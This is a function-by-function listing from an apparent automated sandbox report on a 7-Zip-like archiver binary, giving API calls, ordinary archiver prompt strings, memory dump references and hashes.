Instruction Fuzzy Hash: 3601EC6325A5D045C621FB32E45366E6751FBC3BA1F8520A2AF4E53715CE38C887D604

Function 00C73677 Relevance: 11.3, APIs: 9, Instructions: 48COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C7367E
free.MSVCRT ref: 00C73688
free.MSVCRT ref: 00C73693
free.MSVCRT ref: 00C736A1
free.MSVCRT ref: 00C736C8
free.MSVCRT ref: 00C736D1
free.MSVCRT ref: 00C736DF
free.MSVCRT ref: 00C736EA
free.MSVCRT ref: 00C736F8

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: d9c09fb608b9bf2eac30e82356a3a9b3eaf7d7236c8fdec4e34535a6c9cfb299
Instruction ID: 6c349a498e797a1638d77cbdb894c9a3016662206dbea301b21dd0b343929e95
Opcode Fuzzy Hash: d9c09fb608b9bf2eac30e82356a3a9b3eaf7d7236c8fdec4e34535a6c9cfb299
Instruction Fuzzy Hash: E601B6622565C045CA11FF36E46266E6390FBC7BA1F8120A2BF5E53725CE38C887D608

Function 00C868FC Relevance: 11.3, APIs: 9, Instructions: 45COMMON

Download Yara Rule

APIs

free.MSVCRT(?,?,?,?,00C873C2), ref: 00C8692E
free.MSVCRT(?,?,?,?,00C873C2), ref: 00C86937
free.MSVCRT(?,?,?,?,00C873C2), ref: 00C86940
free.MSVCRT(?,?,?,?,00C873C2), ref: 00C86949
free.MSVCRT(?,?,?,?,00C873C2), ref: 00C86952
free.MSVCRT(?,?,?,?,00C873C2), ref: 00C8695B
free.MSVCRT(?,?,?,?,00C873C2), ref: 00C86964
free.MSVCRT(?,?,?,?,00C873C2), ref: 00C8696D
free.MSVCRT(?,?,?,?,00C873C2), ref: 00C86975

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: b0a25e55ccd52fa3f3baf4bdc67da172ff4df6f662b49c9aa123c0f49802e9bc
Instruction ID: 0384ec83185135652896bfddd4bf68d8cf11e238da7deb3d9b4fd6bfaf0230e6
Opcode Fuzzy Hash: b0a25e55ccd52fa3f3baf4bdc67da172ff4df6f662b49c9aa123c0f49802e9bc
Instruction Fuzzy Hash: DB01DA637119C489CA10FE76DC9216C6360BF86BB87985171FF2D4B755DE20CC929344

Function 00C4F0C8 Relevance: 11.3, APIs: 9, Instructions: 44COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C4F0FA
free.MSVCRT ref: 00C4F103
free.MSVCRT ref: 00C4F10C
free.MSVCRT ref: 00C4F115
free.MSVCRT ref: 00C4F11E
free.MSVCRT ref: 00C4F127
free.MSVCRT ref: 00C4F130
free.MSVCRT ref: 00C4F139
free.MSVCRT ref: 00C4F141

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 69bfdf775510731243c3de3a419cefae75036ebb294f2fdce68b442dc703e0d6
Instruction ID: be6b294d8d561a0e44186020858f56f0bbc22e02992037fe179043fa273d9220
Opcode Fuzzy Hash: 69bfdf775510731243c3de3a419cefae75036ebb294f2fdce68b442dc703e0d6
Instruction Fuzzy Hash: DD012C637119C08ACB10FE36DC9216C3760FF86BA8B985175BF2D4B755DE60CC829344

Function 00C8C844 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 195COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C8C91C
fputs.MSVCRT ref: 00C8C9F1

Part of subcall function 00C8B1C8: memset.MSVCRT ref: 00C8B20D
Part of subcall function 00C8B1C8: fputs.MSVCRT ref: 00C8B232

Part of subcall function 00C42320: free.MSVCRT ref: 00C4237E
Part of subcall function 00C42320: fputs.MSVCRT ref: 00C423B8
Part of subcall function 00C42320: free.MSVCRT ref: 00C423C4

Part of subcall function 00C42300: fputc.MSVCRT ref: 00C42311

fputs.MSVCRT ref: 00C8CADA

Part of subcall function 00C422E4: fflush.MSVCRT ref: 00C422EB

Strings

WARNINGS:, xrefs: 00C8C9C2, 00C8C9EA
ERRORS:, xrefs: 00C8C8ED, 00C8C915
ERROR: , xrefs: 00C8CAD3

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: fputs$free$fflushfputcmemset
String ID: ERROR: $ERRORS:$WARNINGS:
API String ID: 2975459029-4064182643
Opcode ID: 0028e4c7587573bd9f515618cfbb5301f3e1817b887f44ee0e76695e23076ce5
Instruction ID: 1e1e762a2694c360dbf073d5ff3af3e53fa03811422682f6c91379848bcedf4c
Opcode Fuzzy Hash: 0028e4c7587573bd9f515618cfbb5301f3e1817b887f44ee0e76695e23076ce5
Instruction Fuzzy Hash: 516162627009859ACA38FF72E49176E7321F741B88F484126EF2F07615DF78D955A328

Function 00C75680 Relevance: 10.7, APIs: 3, Strings: 4, Instructions: 181COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C75737
free.MSVCRT ref: 00C75907
free.MSVCRT ref: 00C75911

Strings

REPARSE:, xrefs: 00C757DF
..., xrefs: 00C758F2
: , xrefs: 00C7574A
Junction: , xrefs: 00C75707

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID: : $...$Junction: $REPARSE:
API String ID: 1294909896-1476144188
Opcode ID: 6483305c4f08a4f4140ab686dda4331553b33920a3cb9b28730788aac733e5f2
Instruction ID: 0eacb76eefe96f549232f47903a4ce6c9c050fac4c64defcbc9230bb7a5a5471
Opcode Fuzzy Hash: 6483305c4f08a4f4140ab686dda4331553b33920a3cb9b28730788aac733e5f2
Instruction Fuzzy Hash: F7513732210A8192DB24DF25E8417AE7761FB807A4F859122FE9F47394DFBCC685D710

Function 00C80E6C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 138COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00C80E9C

Part of subcall function 00C4339C: free.MSVCRT(00000000,?,?,00000000,00C410A8), ref: 00C433D7
Part of subcall function 00C4339C: memmove.MSVCRT(00000000,?,?,00000000,00C410A8), ref: 00C433F2

fputs.MSVCRT ref: 00C80F5D
fputs.MSVCRT ref: 00C80FD8
fputs.MSVCRT ref: 00C80FF4
LeaveCriticalSection.KERNEL32 ref: 00C81092

Strings

???, xrefs: 00C80EC3

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: fputs$CriticalSection$EnterLeavefreememmove
String ID: ???
API String ID: 2578255354-1053719742
Opcode ID: d090310c851ddd8da6f155963b96fa8e816a2e05670a1bcacee5b10761a30d00
Instruction ID: a6125c6c45707a0e4bfe78207fcd904486a8c790f267ecd1dbb70915fa81c491
Opcode Fuzzy Hash: d090310c851ddd8da6f155963b96fa8e816a2e05670a1bcacee5b10761a30d00
Instruction Fuzzy Hash: 83519432300A80A3EB68EF21D9557EE6360F785B98F848516DF2D07760DF38D9AAD304

Function 00C80C64 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 119COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00C80C95
fputs.MSVCRT ref: 00C80CF7
fputs.MSVCRT ref: 00C80D23
LeaveCriticalSection.KERNEL32 ref: 00C80E38

Strings

Would you like to replace the existing file:, xrefs: 00C80CF0
with the file from archive:, xrefs: 00C80D1C

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: CriticalSectionfputs$EnterLeave
String ID: Would you like to replace the existing file:$with the file from archive:
API String ID: 3346953513-686978020
Opcode ID: 7412e7fb1b6ccc606eca1224af26252d797eb43481bfe92c889a2551bdc217a5
Instruction ID: c358b45f8bdbb67fdd6792a89c5830f24cf7cb9064ebb9c4ce657d7362ed6fe2
Opcode Fuzzy Hash: 7412e7fb1b6ccc606eca1224af26252d797eb43481bfe92c889a2551bdc217a5
Instruction Fuzzy Hash: 4F412762340A8192DBB8AF26D8907A97360F781B98F6582269F7D07751CF3CD88DD30D

Function 00C812B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00C812DC
fputs.MSVCRT ref: 00C8137C
fputs.MSVCRT ref: 00C8139C
free.MSVCRT ref: 00C813D3
LeaveCriticalSection.KERNEL32 ref: 00C813EB

Strings

: , xrefs: 00C81395

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: CriticalSectionfputs$EnterLeavefree
String ID: :
API String ID: 1989314732-3653984579
Opcode ID: a9e7b779069d7613123e0b6a527abe8c78201bf88696ae9abb195fc48f8ffdd4
Instruction ID: 1883947a8ac6fa6cdfc2da135193a5f93a99fd0c380b469dfca24f9ac995460b
Opcode Fuzzy Hash: a9e7b779069d7613123e0b6a527abe8c78201bf88696ae9abb195fc48f8ffdd4
Instruction Fuzzy Hash: 95314E76200A4081DB21AF25D84579D2360F785FA8F585236EE5E4B768CF78C986D314

Function 00C8CE50 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C8CE70

Part of subcall function 00C422E4: fflush.MSVCRT ref: 00C422EB

GetStdHandle.KERNEL32 ref: 00C8CE83
GetConsoleMode.KERNEL32 ref: 00C8CEAA
SetConsoleMode.KERNEL32 ref: 00C8CEBE
SetConsoleMode.KERNEL32 ref: 00C8CEE8

Strings

Enter password (will not be echoed):, xrefs: 00C8CE69

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: ConsoleMode$Handlefflushfputs
String ID: Enter password (will not be echoed):
API String ID: 108775803-3720017889
Opcode ID: b3b14cee00391645aedadfe40ccae594c45a57101052151f518e341e407f9c9a
Instruction ID: 408e9c34cdbb3e677d9ba522e7d8f588b9b92cfdf21ca1eadd0cba9babe733cf
Opcode Fuzzy Hash: b3b14cee00391645aedadfe40ccae594c45a57101052151f518e341e407f9c9a
Instruction Fuzzy Hash: AA21C83230560146FE24AB66AD947396361AF49BB8F189324FF2A473E4DF7CC945D318

Function 00C81AA8 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 66COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C81ACD
free.MSVCRT ref: 00C81B97

Strings

WARNING:, xrefs: 00C81AC6
The file is open, xrefs: 00C81B60
Can not open the file, xrefs: 00C81B34
The archive is open with offset, xrefs: 00C81B02

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: fputsfree
String ID: Can not open the file$The archive is open with offset$The file is open$WARNING:
API String ID: 2581285248-3393983761
Opcode ID: 508089e93e5762c25ef1d7ab05736a957ed921444384873a384d5238f926eb99
Instruction ID: 712ef9c5fc01bae7afb1b9bb8a8a4301c1ea0586c08c03318e36913117d0fa35
Opcode Fuzzy Hash: 508089e93e5762c25ef1d7ab05736a957ed921444384873a384d5238f926eb99
Instruction Fuzzy Hash: 4021866330094595DE24EF26E8517AD6774F789BE8F884321EE1E47365EF28C647D700

Function 00C8DBA0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 23libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32 ref: 00C8DBB4
GetVersionExW.KERNEL32 ref: 00C8DBBF
GetModuleHandleW.KERNEL32 ref: 00C8DBDE
GetProcAddress.KERNEL32 ref: 00C8DBEE

Strings

kernel32.dll, xrefs: 00C8DBD7
SetDefaultDllDirectories, xrefs: 00C8DBE4

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: Version$AddressHandleModuleProc
String ID: SetDefaultDllDirectories$kernel32.dll
API String ID: 2268189529-2102062458
Opcode ID: 7a4e38354ab5005c4356f78164d2e6d32f5e0198e07bcfd6bf58e12f2388e286
Instruction ID: f8ba6df83c2c04ebf2a5ccc0642f2b6b11e1cd48e11fbf3a91887291527b7ee7
Opcode Fuzzy Hash: 7a4e38354ab5005c4356f78164d2e6d32f5e0198e07bcfd6bf58e12f2388e286
Instruction Fuzzy Hash: C1F0F835215642C6FF34AB50F858BA923A0FB98709F554369C25E412B4EF3CCA4EDB18

Function 00C77614 Relevance: 10.2, APIs: 8, Instructions: 196COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C77668
free.MSVCRT ref: 00C77670
free.MSVCRT ref: 00C77882
free.MSVCRT ref: 00C7789D

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: b12077aa1a38d381980969ace034f6b3563fad09e3fe92ca21f67a48a02744cb
Instruction ID: 3c0af28ca4da0c54cd20b60e918b1c8750f1a651a6bb44538b8d88ed91a9c2c1
Opcode Fuzzy Hash: b12077aa1a38d381980969ace034f6b3563fad09e3fe92ca21f67a48a02744cb
Instruction Fuzzy Hash: 4C71C02321C6C486CA20EB25E44169EB774F7CA750FA49212FBEE43B59CF78C945DB01

Function 00C6BB68 Relevance: 10.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

free.MSVCRT(?,?,?,?,?,00C74D4C), ref: 00C6BBD6
free.MSVCRT(?,?,?,?,?,00C74D4C), ref: 00C6BC04

Part of subcall function 00C43404: free.MSVCRT ref: 00C43431
Part of subcall function 00C43404: memmove.MSVCRT ref: 00C4344C

free.MSVCRT(?,?,?,?,?,00C74D4C), ref: 00C6BC1D
free.MSVCRT(?,?,?,?,?,00C74D4C), ref: 00C6BC33
free.MSVCRT(?,?,?,?,?,00C74D4C), ref: 00C6BC41
free.MSVCRT(?,?,?,?,?,?,?,00C74D4C), ref: 00C6BCFA
free.MSVCRT(?,?,?,?,?,?,?,00C74D4C), ref: 00C6BD0E

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$memmove
String ID:
API String ID: 1534225298-0
Opcode ID: 13471f8a4ad2e7cf6aac41453100c4caf2e4d0bde65bb17a80b5ab02e2c60358
Instruction ID: b8c9b02c24791de3480e7e6af9f1c79fe58d56e4c0d7b8ec9817228041e4c26f
Opcode Fuzzy Hash: 13471f8a4ad2e7cf6aac41453100c4caf2e4d0bde65bb17a80b5ab02e2c60358
Instruction Fuzzy Hash: 3D4117222086C095CF31AF29D4812AD77A0EB92B98F545111EB9A8779ADF79CFC6D700

Function 00C60A58 Relevance: 10.1, APIs: 8, Instructions: 90COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 00C60A91
free.MSVCRT ref: 00C60A99

Part of subcall function 00C42130: malloc.MSVCRT(?,?,?,?,00C42FDA,?,?,00000000,00000000,00C4329F), ref: 00C42134
Part of subcall function 00C42130: _CxxThrowException.MSVCRT ref: 00C4214F

memmove.MSVCRT ref: 00C60AD4
free.MSVCRT ref: 00C60ADD
memmove.MSVCRT ref: 00C60B19
free.MSVCRT ref: 00C60B22
memmove.MSVCRT ref: 00C60B5B
free.MSVCRT ref: 00C60B64

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: freememmove$ExceptionThrowmalloc
String ID:
API String ID: 1818558235-0
Opcode ID: 765776f35c77edad6c13728d38dc7fcf5a9f6dac0127373448571f55f4189822
Instruction ID: ac1a7ba0d2f2c5ab9602968dc71886fb9a89e189fbd964f549a653272594f3af
Opcode Fuzzy Hash: 765776f35c77edad6c13728d38dc7fcf5a9f6dac0127373448571f55f4189822
Instruction Fuzzy Hash: D3313EB27112948B8B64DF7AD49252E73E4F784FD83149026EF2D97709DA34DC82DB90

Function 00C73162 Relevance: 10.0, APIs: 8, Instructions: 42COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C73174
free.MSVCRT ref: 00C7317E
free.MSVCRT ref: 00C73189
free.MSVCRT ref: 00C73197
free.MSVCRT ref: 00C731C0
free.MSVCRT ref: 00C731C9
free.MSVCRT ref: 00C731D7
free.MSVCRT ref: 00C731E2

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 5bbcb3d30417cb4540914b84c838161a17fbf1d04a96b1a44235b1ed78704236
Instruction ID: 891ef2bb9e040b13f4d539f68f29d5e67029652045a8f7f785bc6bb3e047c9b9
Opcode Fuzzy Hash: 5bbcb3d30417cb4540914b84c838161a17fbf1d04a96b1a44235b1ed78704236
Instruction Fuzzy Hash: AAF0302224A5D086CA24FF32C496A2E6791FFC7F91F843461FB4E63725CE28CC46D604

Function 00C730A8 Relevance: 10.0, APIs: 8, Instructions: 41COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C730BA
free.MSVCRT ref: 00C730C4
free.MSVCRT ref: 00C730CF
free.MSVCRT ref: 00C730DD
free.MSVCRT ref: 00C73104
free.MSVCRT ref: 00C7310D
free.MSVCRT ref: 00C7311B
free.MSVCRT ref: 00C73126

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: f923bc8cdedd78b2b3edc0c739dd55c56a96e84a99f4fb77f0cef0815a61bf65
Instruction ID: ced370c2bf832a66ef1452a387e0905d7576a1d8a55d631629ef714e62153378
Opcode Fuzzy Hash: f923bc8cdedd78b2b3edc0c739dd55c56a96e84a99f4fb77f0cef0815a61bf65
Instruction Fuzzy Hash: 35F0302224A9C041CA24FF32C4A6A2F6750FFC3F95F857051BB4E23711CE28C886E204

Function 00C7324C Relevance: 10.0, APIs: 8, Instructions: 41COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C7325E
free.MSVCRT ref: 00C73268
free.MSVCRT ref: 00C73273
free.MSVCRT ref: 00C73281
free.MSVCRT ref: 00C732A8
free.MSVCRT ref: 00C732B1
free.MSVCRT ref: 00C732BF
free.MSVCRT ref: 00C732CA

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 2522e248d28b65a1e432d56d56702000484c5aa2c33acbb552cec4aae837ae87
Instruction ID: d2c8f1970beee886adbbf430c76891886aa2edd4614c7c015790cd27637599ee
Opcode Fuzzy Hash: 2522e248d28b65a1e432d56d56702000484c5aa2c33acbb552cec4aae837ae87
Instruction Fuzzy Hash: 3EF0362224A9C141CA10FF32C856A2F6760FFC3F91F453051BF4E63711CE28C946E604

Function 00C7333D Relevance: 10.0, APIs: 8, Instructions: 40COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C7334F
free.MSVCRT ref: 00C73359
free.MSVCRT ref: 00C73364
free.MSVCRT ref: 00C73372
free.MSVCRT ref: 00C73399
free.MSVCRT ref: 00C733A2
free.MSVCRT ref: 00C733B0
free.MSVCRT ref: 00C733BB

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: eef51832cb1860b1a47471d2ecdbd40fe6516d0eb3dd3788043c37f3bbfc7144
Instruction ID: 01721f2989c0759a720f238889a2982cbf83c4a025fb988130b378a21dfec923
Opcode Fuzzy Hash: eef51832cb1860b1a47471d2ecdbd40fe6516d0eb3dd3788043c37f3bbfc7144
Instruction Fuzzy Hash: 2EF0302224A5C081CA20FF32C4A6A2E67A0FFC7FA1F853051BB4E13711CE28C846E204

Function 00C72E29 Relevance: 10.0, APIs: 8, Instructions: 40COMMON

Download Yara Rule

APIs

